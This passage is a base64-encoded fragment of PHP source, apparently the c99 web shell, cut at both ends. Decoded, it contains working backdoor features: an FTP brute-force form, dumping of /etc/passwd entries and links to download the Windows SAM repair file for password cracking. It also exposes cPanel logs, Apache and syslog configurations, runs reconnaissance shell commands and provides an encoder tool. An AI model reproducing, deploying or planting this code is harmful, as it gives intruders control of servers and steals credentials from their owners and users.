IHZhbHVlPVwiIiAuICRuaXhwd2RwZXJwYWdlIC4gIlwiPjxicj48YnI+VXNlcnMgb25seSB3aXRo
IHNoZWxsPyZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiZnFiX29ubHl3aXRo
c2hcIiB2YWx1ZT1cIjFcIj48YnI+PGJyPkxvZ2dpbmc/Jm5ic3A7PGlucHV0IHR5cGU9XCJjaGVj
a2JveFwiIG5hbWU9XCJmcWJfbG9nZ2luZ1wiIHZhbHVlPVwiMVwiIGNoZWNrZWQ+PGJyPkxvZ2dp
bmcgdG8gZmlsZT8mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwiZnFiX2xvZ2ZpbGVc
IiB2YWx1ZT1cIiIgLiAkbG9nZmlsZSAuICJcIiBzaXplPVwiIiAuIChzdHJsZW4oJGxvZ2ZpbGUp
ICsgMiAqIChzdHJsZW4oJGxvZ2ZpbGUpIC8gMTApKSAuICJcIj48YnI+TG9nZ2luZyB0byBlLW1h
aWw/Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImZxYl9sb2dlbWFpbFwiIHZhbHVl
PVwiIiAuICRsb2dfZW1haWwgLiAiXCIgc2l6ZT1cIiIgLiAoc3RybGVuKCRsb2dlbWFpbCkgKyAy
ICogKHN0cmxlbigkbG9nZW1haWwpIC8gMTApKSAuICJcIj48YnI+PGJyPjxpbnB1dCB0eXBlPXN1
Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIkJydXRlXCI+PC9mb3JtPiI7DQogICAgICAgICAgICB9
DQogICAgICAgIH0NCiAgICB9DQogICAgaWYgKCRhY3QgPT0gImQiKQ0KICAgIHsNCiAgICAgICAg
aWYgKCFpc19kaXIoJGQpKQ0KICAgICAgICB7DQogICAgICAgICAgICBlY2hvICI8Y2VudGVyPjxi
PlBlcm1pc2lvbiBkZW5pZWQhPC9iPjwvY2VudGVyPiI7DQogICAgICAgIH0NCiAgICAgICAgZWxz
ZQ0KICAgICAgICB7DQogICAgICAgICAgICBlY2hvICI8Yj5EaXJlY3RvcnkgaW5mb3JtYXRpb246
PC9iPjx0YWJsZSBib3JkZXI9MCBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTI+IjsNCiAgICAg
ICAgICAgIGlmICghJHdpbikNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBlY2hvICI8
dHI+PHRkPjxiPk93bmVyL0dyb3VwPC9iPjwvdGQ+PHRkPiAiOw0KICAgICAgICAgICAgICAgICRv
dyA9IHBvc2l4X2dldHB3dWlkKGZpbGVvd25lcigkZCkpOw0KICAgICAgICAgICAgICAgICRnciA9
IHBvc2l4X2dldGdyZ2lkKGZpbGVncm91cCgkZCkpOw0KICAgICAgICAgICAgICAgICRyb3dbXSA9
ICgkb3dbIm5hbWUiXSA/ICRvd1sibmFtZSJdIDogZmlsZW93bmVyKCRkKSkgLiAiLyIgLiAoJGdy
WyJuYW1lIl0gPyAkZ3JbIm5hbWUiXSA6IGZpbGVncm91cCgkZCkpOw0KICAgICAgICAgICAgfQ0K
ICAgICAgICAgICAgZWNobyAiPHRyPjx0ZD48Yj5QZXJtczwvYj48L3RkPjx0ZD48YSBocmVmPVwi
IiAuICRzdXJsIC4gImFjdD1jaG1vZCZkPSIgLiB1cmxlbmNvZGUoJGQpIC4gIlwiPjxiPiIgLiB2
aWV3X3Blcm1zX2NvbG9yKCRkKSAuICI8L2I+PC9hPjx0cj48dGQ+PGI+Q3JlYXRlIHRpbWU8L2I+
PC90ZD48dGQ+ICIgLiBkYXRlKCJkL20vWSBIOmk6cyIsIGZpbGVjdGltZSgkZCkpIC4gIjwvdGQ+
PC90cj48dHI+PHRkPjxiPkFjY2VzcyB0aW1lPC9iPjwvdGQ+PHRkPiAiIC4gZGF0ZSgiZC9tL1kg
SDppOnMiLCBmaWxlYXRpbWUoJGQpKSAuICI8L3RkPjwvdHI+PHRyPjx0ZD48Yj5NT0RJRlkgdGlt
ZTwvYj48L3RkPjx0ZD4gIiAuIGRhdGUoImQvbS9ZIEg6aTpzIiwgZmlsZW10aW1lKCRkKSkgLiAi
PC90ZD48L3RyPjwvdGFibGU+PGJyPiI7DQogICAgICAgIH0NCiAgICB9DQogICAgaWYgKCRhY3Qg
PT0gInBocGluZm8iKQ0KICAgIHsNCiAgICAgICAgQG9iX2NsZWFuKCk7DQogICAgICAgIHBocGlu
Zm8oKTsNCiAgICAgICAgYzk5c2hleGl0KCk7DQogICAgfQ0KICAgIGlmICgkYWN0ID09ICJzZWN1
cml0eSIpDQogICAgew0KICAgICAgICBlY2hvICI8Y2VudGVyPjxiPlNlcnZlciBzZWN1cml0eSBp
bmZvcm1hdGlvbjo8L2I+PC9jZW50ZXI+PGI+T3BlbiBiYXNlIGRpcjogIiAuICRob3BlbmJhc2Vk
aXIgLiAiPC9iPjxicj4iOw0KICAgICAgICBpZiAoISR3aW4pDQogICAgICAgIHsNCiAgICAgICAg
ICAgIGlmICgkbml4cGFzc3dkKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIGlmICgk
bml4cGFzc3dkID09IDEpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAk
bml4cGFzc3dkID0gMDsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgZWNobyAi
PGI+Km5peCAvZXRjL3Bhc3N3ZDo8L2I+PGJyPiI7DQogICAgICAgICAgICAgICAgaWYgKCFpc19u
dW1lcmljKCRuaXhwd2RfcykpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAg
ICAkbml4cHdkX3MgPSAwOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBpZiAo
IWlzX251bWVyaWMoJG5peHB3ZF9lKSkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAg
ICAgICAgICRuaXhwd2RfZSA9ICRuaXhwd2RwZXJwYWdlOw0KICAgICAgICAgICAgICAgIH0NCiAg
ICAgICAgICAgICAgICBlY2hvICI8Zm9ybSBhY3Rpb249XCIiIC4gJHN1cmwgLiAiXCI+PGlucHV0
IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPVwic2VjdXJpdHlcIj48aW5wdXQgdHlwZT1oaWRk
ZW4gbmFtZT1cIm5peHBhc3N3ZFwiIHZhbHVlPVwiMVwiPjxiPkZyb206PC9iPiZuYnNwOzxpbnB1
dCB0eXBlPVwidGV4dD1cIiBuYW1lPVwibml4cHdkX3NcIiB2YWx1ZT1cIiIgLiAkbml4cHdkX3Mg
LiAiXCI+Jm5ic3A7PGI+VG86PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJu
aXhwd2RfZVwiIHZhbHVlPVwiIiAuICRuaXhwd2RfZSAuICJcIj4mbmJzcDs8aW5wdXQgdHlwZT1z
dWJtaXQgdmFsdWU9XCJWaWV3XCI+PC9mb3JtPjxicj4iOw0KICAgICAgICAgICAgICAgICRpID0g
JG5peHB3ZF9zOw0KICAgICAgICAgICAgICAgIHdoaWxlICgkaSA8ICRuaXhwd2RfZSkNCiAgICAg
ICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICR1aWQgPSBwb3NpeF9nZXRwd3VpZCgk
aSk7DQogICAgICAgICAgICAgICAgICAgIGlmICgkdWlkKQ0KICAgICAgICAgICAgICAgICAgICB7
DQogICAgICAgICAgICAgICAgICAgICAgICAkdWlkWyJkaXIiXSA9ICI8YSBocmVmPVwiIiAuICRz
dXJsIC4gImFjdD1scyZkPSIgLiB1cmxlbmNvZGUoJHVpZFsiZGlyIl0pIC4gIlwiPiIgLiAkdWlk
WyJkaXIiXSAuICI8L2E+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gam9pbigiOiIs
ICR1aWQpIC4gIjxicj4iOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAg
ICAgICRpKys7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAg
ZWxzZQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIGVjaG8gIjxicj48YSBocmVmPVwi
IiAuICRzdXJsIC4gImFjdD1zZWN1cml0eSZuaXhwYXNzd2Q9MSZkPSIgLiAkdWQgLiAiXCI+PGI+
PHU+R2V0IC9ldGMvcGFzc3dkPC91PjwvYj48L2E+PGJyPiI7DQogICAgICAgICAgICB9DQogICAg
ICAgIH0NCiAgICAgICAgZWxzZQ0KICAgICAgICB7DQogICAgICAgICAgICAkdiA9ICRfU0VSVkVS
WyJXSU5ESVIiXSAuICJccmVwYWlyXHNhbSI7DQogICAgICAgICAgICBpZiAoZmlsZV9nZXRfY29u
dGVudHMoJHYpKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIGVjaG8gIjxiPjxmb250
IGNvbG9yPXJlZD5Zb3UgY2FuJ3QgY3JhY2sgd2lubnQgcGFzc3dvcmRzKCIgLiAkdiAuICIpIDwv
Zm9udD48L2I+PGJyPiI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNlDQogICAgICAg
ICAgICB7DQogICAgICAgICAgICAgICAgZWNobyAiPGI+PGZvbnQgY29sb3I9Z3JlZW4+WW91IGNh
biBjcmFjayB3aW5udCBwYXNzd29yZHMuIDxhIGhyZWY9XCIiIC4gJHN1cmwgLiAiYWN0PWYmZj1z
YW0mZD0iIC4gJF9TRVJWRVJbIldJTkRJUiJdIC4gIlxccmVwYWlyJmZ0PWRvd25sb2FkXCI+PHU+
PGI+RG93bmxvYWQ8L2I+PC91PjwvYT4sIGFuZCB1c2UgbGNwLmNyYWNrKyDCqS48L2ZvbnQ+PC9i
Pjxicj4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGlmIChmaWxlX2dldF9j
b250ZW50cygiL2V0Yy91c2VyZG9tYWlucyIpKQ0KICAgICAgICB7DQogICAgICAgICAgICBlY2hv
ICI8Yj48Zm9udCBjb2xvcj1ncmVlbj48YSBocmVmPVwiIiAuICRzdXJsIC4gImFjdD1mJmY9dXNl
cmRvbWFpbnMmZD0iIC4gdXJsZW5jb2RlKCIvZXRjIikgLiAiJmZ0PXR4dFwiPjx1PjxiPlZpZXcg
Y3BhbmVsIHVzZXItZG9tYWlucyBsb2dzPC9iPjwvdT48L2E+PC9mb250PjwvYj48YnI+IjsNCiAg
ICAgICAgfQ0KICAgICAgICBpZiAoZmlsZV9nZXRfY29udGVudHMoIi92YXIvY3BhbmVsL2FjY291
bnRpbmcubG9nIikpDQogICAgICAgIHsNCiAgICAgICAgICAgIGVjaG8gIjxiPjxmb250IGNvbG9y
PWdyZWVuPjxhIGhyZWY9XCIiIC4gJHN1cmwgLiAiYWN0PWYmZj1hY2NvdW50aW5nLmxvZyZkPSIg
LiB1cmxlbmNvZGUoIi92YXIvY3BhbmVsLyIpIC4gIlwiJmZ0PXR4dD48dT48Yj5WaWV3IGNwYW5l
bCBsb2dzPC9iPjwvdT48L2E+PC9mb250PjwvYj48YnI+IjsNCiAgICAgICAgfQ0KICAgICAgICBp
ZiAoZmlsZV9nZXRfY29udGVudHMoIi91c3IvbG9jYWwvYXBhY2hlL2NvbmYvaHR0cGQuY29uZiIp
KQ0KICAgICAgICB7DQogICAgICAgICAgICBlY2hvICI8Yj48Zm9udCBjb2xvcj1ncmVlbj48YSBo
cmVmPVwiIiAuICRzdXJsIC4gImFjdD1mJmY9aHR0cGQuY29uZiZkPSIgLiB1cmxlbmNvZGUoIi91
c3IvbG9jYWwvYXBhY2hlL2NvbmYiKSAuICImZnQ9dHh0XCI+PHU+PGI+QXBhY2hlIGNvbmZpZ3Vy
YXRpb24gKGh0dHBkLmNvbmYpPC9iPjwvdT48L2E+PC9mb250PjwvYj48YnI+IjsNCiAgICAgICAg
fQ0KICAgICAgICBpZiAoZmlsZV9nZXRfY29udGVudHMoIi9ldGMvaHR0cGQuY29uZiIpKQ0KICAg
ICAgICB7DQogICAgICAgICAgICBlY2hvICI8Yj48Zm9udCBjb2xvcj1ncmVlbj48YSBocmVmPVwi
IiAuICRzdXJsIC4gImFjdD1mJmY9aHR0cGQuY29uZiZkPSIgLiB1cmxlbmNvZGUoIi9ldGMiKSAu
ICImZnQ9dHh0XCI+PHU+PGI+QXBhY2hlIGNvbmZpZ3VyYXRpb24gKGh0dHBkLmNvbmYpPC9iPjwv
dT48L2E+PC9mb250PjwvYj48YnI+IjsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoZmlsZV9nZXRf
Y29udGVudHMoIi9ldGMvc3lzbG9nLmNvbmYiKSkNCiAgICAgICAgew0KICAgICAgICAgICAgZWNo
byAiPGI+PGZvbnQgY29sb3I9Z3JlZW4+PGEgaHJlZj1cIiIgLiAkc3VybCAuICJhY3Q9ZiZmPXN5
c2xvZy5jb25mJmQ9IiAuIHVybGVuY29kZSgiL2V0YyIpIC4gIiZmdD10eHRcIj48dT48Yj5TeXNs
b2cgY29uZmlndXJhdGlvbiAoc3lzbG9nLmNvbmYpPC9iPjwvdT48L2E+PC9mb250PjwvYj48YnI+
IjsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoZmlsZV9nZXRfY29udGVudHMoIi9ldGMvbW90ZCIp
KQ0KICAgICAgICB7DQogICAgICAgICAgICBlY2hvICI8Yj48Zm9udCBjb2xvcj1ncmVlbj48YSBo
cmVmPVwiIiAuICRzdXJsIC4gImFjdD1mJmY9bW90ZCZkPSIgLiB1cmxlbmNvZGUoIi9ldGMiKSAu
ICImZnQ9dHh0XCI+PHU+PGI+TWVzc2FnZSBPZiBUaGUgRGF5PC9iPjwvdT48L2E+PC9mb250Pjwv
Yj48YnI+IjsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoZmlsZV9nZXRfY29udGVudHMoIi9ldGMv
aG9zdHMiKSkNCiAgICAgICAgew0KICAgICAgICAgICAgZWNobyAiPGI+PGZvbnQgY29sb3I9Z3Jl
ZW4+PGEgaHJlZj1cIiIgLiAkc3VybCAuICJhY3Q9ZiZmPWhvc3RzJmQ9IiAuIHVybGVuY29kZSgi
L2V0YyIpIC4gIiZmdD10eHRcIj48dT48Yj5Ib3N0czwvYj48L3U+PC9hPjwvZm9udD48L2I+PGJy
PiI7DQogICAgICAgIH0NCiAgICAgICAgZnVuY3Rpb24gZGlzcGxheXNlY2luZm8oJG5hbWUsICR2
YWx1ZSkNCiAgICAgICAgew0KICAgICAgICAgICAgaWYgKCFlbXB0eSgkdmFsdWUpKQ0KICAgICAg
ICAgICAgew0KICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJG5hbWUpKQ0KICAgICAgICAgICAg
ICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJG5hbWUgPSAiPGI+IiAuICRuYW1lIC4gIiAtIDwv
Yj4iOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBlY2hvICRuYW1lIC4gbmwy
YnIoJHZhbHVlKSAuICI8YnI+IjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBk
aXNwbGF5c2VjaW5mbygiT1MgVmVyc2lvbj8iLCBteXNoZWxsZXhlYygiY2F0IC9wcm9jL3ZlcnNp
b24iKSk7DQogICAgICAgIGRpc3BsYXlzZWNpbmZvKCJLZXJuZWwgdmVyc2lvbj8iLCBteXNoZWxs
ZXhlYygic3lzY3RsIC1hIHwgZ3JlcCB2ZXJzaW9uIikpOw0KICAgICAgICBkaXNwbGF5c2VjaW5m
bygiRGlzdHJpYiBuYW1lIiwgbXlzaGVsbGV4ZWMoImNhdCAvZXRjL2lzc3VlLm5ldCIpKTsNCiAg
ICAgICAgZGlzcGxheXNlY2luZm8oIkRpc3RyaWIgbmFtZSAoMikiLCBteXNoZWxsZXhlYygiY2F0
IC9ldGMvKi1yZWFsaXNlIikpOw0KICAgICAgICBkaXNwbGF5c2VjaW5mbygiQ1BVPyIsIG15c2hl
bGxleGVjKCJjYXQgL3Byb2MvY3B1aW5mbyIpKTsNCiAgICAgICAgZGlzcGxheXNlY2luZm8oIlJB
TSIsIG15c2hlbGxleGVjKCJmcmVlIC1tIikpOw0KICAgICAgICBkaXNwbGF5c2VjaW5mbygiSERE
IHNwYWNlIiwgbXlzaGVsbGV4ZWMoImRmIC1oIikpOw0KICAgICAgICBkaXNwbGF5c2VjaW5mbygi
TGlzdCBvZiBBdHRyaWJ1dGVzIiwgbXlzaGVsbGV4ZWMoImxzYXR0ciAtYSIpKTsNCiAgICAgICAg
ZGlzcGxheXNlY2luZm8oIk1vdW50IG9wdGlvbnMgIiwgbXlzaGVsbGV4ZWMoImNhdCAvZXRjL2Zz
dGFiIikpOw0KICAgICAgICBkaXNwbGF5c2VjaW5mbygiSXMgY1VSTCBpbnN0YWxsZWQ/IiwgbXlz
aGVsbGV4ZWMoIndoaWNoIGN1cmwiKSk7DQogICAgICAgIGRpc3BsYXlzZWNpbmZvKCJJcyBseW54
IGluc3RhbGxlZD8iLCBteXNoZWxsZXhlYygid2hpY2ggbHlueCIpKTsNCiAgICAgICAgZGlzcGxh
eXNlY2luZm8oIklzIGxpbmtzIGluc3RhbGxlZD8iLCBteXNoZWxsZXhlYygid2hpY2ggbGlua3Mi
KSk7DQogICAgICAgIGRpc3BsYXlzZWNpbmZvKCJJcyBmZXRjaCBpbnN0YWxsZWQ/IiwgbXlzaGVs
bGV4ZWMoIndoaWNoIGZldGNoIikpOw0KICAgICAgICBkaXNwbGF5c2VjaW5mbygiSXMgR0VUIGlu
c3RhbGxlZD8iLCBteXNoZWxsZXhlYygid2hpY2ggR0VUIikpOw0KICAgICAgICBkaXNwbGF5c2Vj
aW5mbygiSXMgcGVybCBpbnN0YWxsZWQ/IiwgbXlzaGVsbGV4ZWMoIndoaWNoIHBlcmwiKSk7DQog
ICAgICAgIGRpc3BsYXlzZWNpbmZvKCJXaGVyZSBpcyBhcGFjaGUiLCBteXNoZWxsZXhlYygid2hl
cmVpcyBhcGFjaGUiKSk7DQogICAgICAgIGRpc3BsYXlzZWNpbmZvKCJXaGVyZSBpcyBwZXJsPyIs
IG15c2hlbGxleGVjKCJ3aGVyZWlzIHBlcmwiKSk7DQogICAgICAgIGRpc3BsYXlzZWNpbmZvKCJs
b2NhdGUgcHJvZnRwZC5jb25mIiwgbXlzaGVsbGV4ZWMoImxvY2F0ZSBwcm9mdHBkLmNvbmYiKSk7
DQogICAgICAgIGRpc3BsYXlzZWNpbmZvKCJsb2NhdGUgaHR0cGQuY29uZiIsIG15c2hlbGxleGVj
KCJsb2NhdGUgaHR0cGQuY29uZiIpKTsNCiAgICAgICAgZGlzcGxheXNlY2luZm8oImxvY2F0ZSBt
eS5jb25mIiwgbXlzaGVsbGV4ZWMoImxvY2F0ZSBteS5jb25mIikpOw0KICAgICAgICBkaXNwbGF5
c2VjaW5mbygibG9jYXRlIHBzeWJuYy5jb25mIiwgbXlzaGVsbGV4ZWMoImxvY2F0ZSBwc3libmMu
Y29uZiIpKTsNCiAgICB9DQogICAgaWYgKCRhY3QgPT0gIm1rZmlsZSIpDQogICAgew0KICAgICAg
ICBpZiAoJG1rZmlsZSAhPSAkZCkNCiAgICAgICAgew0KICAgICAgICAgICAgaWYgKGZpbGVfZXhp
c3RzKCRta2ZpbGUpKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIGVjaG8gIjxiPk1h
a2UgRmlsZSBcIiIgLiBodG1sc3BlY2lhbGNoYXJzKCRta2ZpbGUpIC4gIlwiPC9iPjogb2JqZWN0
IGFscmVkeSBleGlzdHMiOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZWlmICghZm9w
ZW4oJG1rZmlsZSwgInciKSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBlY2hvICI8
Yj5NYWtlIEZpbGUgXCIiIC4gaHRtbHNwZWNpYWxjaGFycygkbWtmaWxlKSAuICJcIjwvYj46IGFj
Y2VzcyBkZW5pZWQiOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZQ0KICAgICAgICAg
ICAgew0KICAgICAgICAgICAgICAgICRhY3QgPSAiZiI7DQogICAgICAgICAgICAgICAgJGQgPSBk
aXJuYW1lKCRta2ZpbGUpOw0KICAgICAgICAgICAgICAgIGlmIChzdWJzdHIoJGQsIC0xKSAhPSBE
SVJFQ1RPUllfU0VQQVJBVE9SKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAg
ICAgJGQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAg
ICAgICAgICAgJGYgPSBiYXNlbmFtZSgkbWtmaWxlKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAg
fQ0KICAgICAgICBlbHNlDQogICAgICAgIHsNCiAgICAgICAgICAgICRhY3QgPSAkZHNwYWN0ID0g
ImxzIjsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoJGFjdCA9PSAiZW5jb2RlciIpDQogICAg
ew0KICAgICAgICBlY2hvICI8c2NyaXB0PmZ1bmN0aW9uIHNldF9lbmNvZGVyX2lucHV0KHRleHQp
IHtkb2N1bWVudC5mb3Jtcy5lbmNvZGVyLmlucHV0LnZhbHVlID0gdGV4dDt9PC9zY3JpcHQ+PGNl
bnRlcj48Yj5FbmNvZGVyOjwvYj48L2NlbnRlcj48Zm9ybSBuYW1lPVwiZW5jb2RlclwiIGFjdGlv
bj1cIiIgLiAkc3VybCAuICJcIiBtZXRob2Q9UE9TVD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1h
Y3QgdmFsdWU9ZW5jb2Rlcj48Yj5JbnB1dDo8L2I+PGNlbnRlcj48dGV4dGFyZWEgbmFtZT1cImVu
Y29kZXJfaW5wdXRcIiBpZD1cImlucHV0XCIgY29scz01MCByb3dzPTU+IiAuIEBodG1sc3BlY2lh
bGNoYXJzKCRlbmNvZGVyX2lucHV0KSAuICI8L3RleHRhcmVhPjxicj48YnI+PGlucHV0IHR5cGU9
c3VibWl0IHZhbHVlPVwiY2FsY3VsYXRlXCI+PGJyPjxicj48L2NlbnRlcj48Yj5IYXNoZXM8L2I+
Ojxicj48Y2VudGVyPiI7DQogICAgICAgIGZvcmVhY2ggKGFycmF5KA0KICAgICAgICAgICAgIm1k
NSIsDQogICAgICAgICAgICAiY3J5cHQiLA0KICAgICAgICAgICAgInNoYTEiLA0KICAgICAgICAg
ICAgImNyYzMyIg0KICAgICAgICApIGFzICR2KQ0KICAgICAgICB7DQogICAgICAgICAgICBlY2hv
ICR2IC4gIiAtIDxpbnB1dCB0eXBlPXRleHQgc2l6ZT01MCBvbkZvY3VzPVwidGhpcy5zZWxlY3Qo
KVwiIG9uTW91c2VvdmVyPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdXQ9XCJ0aGlzLnNlbGVj
dCgpXCIgdmFsdWU9XCIiIC4gJHYoJGVuY29kZXJfaW5wdXQpIC4gIlwiIHJlYWRvbmx5Pjxicj4i
Ow0KICAgICAgICB9DQogICAgICAgIGVjaG8gIjwvY2VudGVyPjxiPlVybDo8L2I+PGNlbnRlcj48
YnI+dXJsZW5jb2RlIC0gPGlucHV0IHR5cGU9dGV4dCBzaXplPTM1IG9uRm9jdXM9XCJ0aGlzLnNl
bGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMu
c2VsZWN0KClcIiB2YWx1ZT1cIiIgLiB1cmxlbmNvZGUoJGVuY29kZXJfaW5wdXQpIC4gIlwiIHJl
YWRvbmx5Pg0KIDxicj51cmxkZWNvZGUgLSA8aW5wdXQgdHlwZT10ZXh0IHNpemU9MzUgb25Gb2N1
cz1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3Zlcj1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNl
b3V0PVwidGhpcy5zZWxlY3QoKVwiIHZhbHVlPVwiIiAuIGh0bWxzcGVjaWFsY2hhcnModXJsZGVj
b2RlKCRlbmNvZGVyX2lucHV0KSkgLiAiXCIgcmVhZG9ubHk+DQogPGJyPjwvY2VudGVyPjxiPkJh
c2U2NDo8L2I+PGNlbnRlcj5iYXNlNjRfZW5jb2RlIC0gPGlucHV0IHR5cGU9dGV4dCBzaXplPTM1
IG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIg
b25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiB2YWx1ZT1cIiIgLiBiYXNlNjRfZW5jb2RlKCRl
bmNvZGVyX2lucHV0KSAuICJcIiByZWFkb25seT48L2NlbnRlcj4iOw0KICAgICAgICBlY2hvICI8
Y2VudGVyPmJhc2U2NF9kZWNvZGUgLSAiOw0KICAgICAgICBpZiAoYmFzZTY0X2VuY29kZShiYXNl
NjRfZGVjb2RlKCRlbmNvZGVyX2lucHV0KSkgIT0gJGVuY29kZXJfaW5wdXQpDQogICAgICAgIHsN
CiAgICAgICAgICAgIGVjaG8gIjxpbnB1dCB0eXBlPXRleHQgc2l6ZT0zNSB2YWx1ZT1cImZhaWxl
ZFwiIGRpc2FibGVkIHJlYWRvbmx5PiI7DQogICAgICAgIH0NCiAgICAgICAgZWxzZQ0KICAgICAg
ICB7DQogICAgICAgICAgICAkZGViYXNlNjQgPSBiYXNlNjRfZGVjb2RlKCRlbmNvZGVyX2lucHV0
KTsNCiAgICAgICAgICAgICRkZWJhc2U2NCA9IHN0cl9yZXBsYWNlKCJcMCIsICJbMF0iLCAkZGVi
YXNlNjQpOw0KICAgICAgICAgICAgJGEgPSBleHBsb2RlKCJcclxuIiwgJGRlYmFzZTY0KTsNCiAg
ICAgICAgICAgICRyb3dzID0gY291bnQoJGEpOw0KICAgICAgICAgICAgJGRlYmFzZTY0ID0gaHRt
bHNwZWNpYWxjaGFycygkZGViYXNlNjQpOw0KICAgICAgICAgICAgaWYgKCRyb3dzID09IDEpDQog
ICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgZWNobyAiPGlucHV0IHR5cGU9dGV4dCBzaXpl
PTM1IG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgp
XCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiB2YWx1ZT1cIiIgLiAkZGViYXNlNjQgLiAi
XCIgaWQ9XCJkZWJhc2U2NFwiIHJlYWRvbmx5PiI7DQogICAgICAgICAgICB9DQogICAgICAgICAg
ICBlbHNlDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJHJvd3MrKzsNCiAgICAgICAg
ICAgICAgICBlY2hvICI8dGV4dGFyZWEgY29scz1cIjQwXCIgcm93cz1cIiIgLiAkcm93cyAuICJc
IiBvbkZvY3VzPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdmVyPVwidGhpcy5zZWxlY3QoKVwi
IG9uTW91c2VvdXQ9XCJ0aGlzLnNlbGVjdCgpXCIgaWQ9XCJkZWJhc2U2NFwiIHJlYWRvbmx5PiIg
LiAkZGViYXNlNjQgLiAiPC90ZXh0YXJlYT4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAg
ZWNobyAiJm5ic3A7PGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwic2V0X2VuY29kZXJfaW5wdXQoZG9j
dW1lbnQuZm9ybXMuZW5jb2Rlci5kZWJhc2U2NC52YWx1ZSlcIj48Yj5ePC9iPjwvYT4iOw0KICAg
ICAgICB9DQogICAgICAgIGVjaG8gIjwvY2VudGVyPjxicj48Yj5CYXNlIGNvbnZlcnRhdGlvbnM8
L2I+OjxjZW50ZXI+ZGVjMmhleCAtIDxpbnB1dCB0eXBlPXRleHQgc2l6ZT0zNSBvbkZvY3VzPVwi
dGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdmVyPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdXQ9
XCJ0aGlzLnNlbGVjdCgpXCIgdmFsdWU9XCIiOw0KICAgICAgICAkYyA9IHN0cmxlbigkZW5jb2Rl
cl9pbnB1dCk7DQogICAgICAgIGZvciAoJGkgPSAwOyRpIDwgJGM7JGkrKykNCiAgICAgICAgew0K
ICAgICAgICAgICAgJGhleCA9IGRlY2hleChvcmQoJGVuY29kZXJfaW5wdXRbJGldKSk7DQogICAg
ICAgICAgICBpZiAoJGVuY29kZXJfaW5wdXRbJGldID09ICImIikNCiAgICAgICAgICAgIHsNCiAg
ICAgICAgICAgICAgICBlY2hvICRlbmNvZGVyX2lucHV0WyRpXTsNCiAgICAgICAgICAgIH0NCiAg
ICAgICAgICAgIGVsc2VpZiAoJGVuY29kZXJfaW5wdXRbJGldICE9ICJcXCIpDQogICAgICAgICAg
ICB7DQogICAgICAgICAgICAgICAgZWNobyAiJSIgLiAkaGV4Ow0KICAgICAgICAgICAgfQ0KICAg
ICAgICB9DQogICAgICAgIGVjaG8gIlwiIHJlYWRvbmx5Pjxicj48L2NlbnRlcj48L2Zvcm0+IjsN
CiAgICB9DQogICAgaWYgKCRhY3QgPT0gImZzYnVmZiIpDQogICAgew0KICAgICAgICAkYXJyX2Nv
cHkgPSAkc2Vzc19kYXRhWyJjb3B5Il07DQogICAgICAgICRhcnJfY3V0ID0gJHNlc3NfZGF0YVsi
Y3V0Il07DQogICAgICAgICRhcnIgPSBhcnJheV9tZXJnZSgkYXJyX2NvcHksICRhcnJfY3V0KTsN
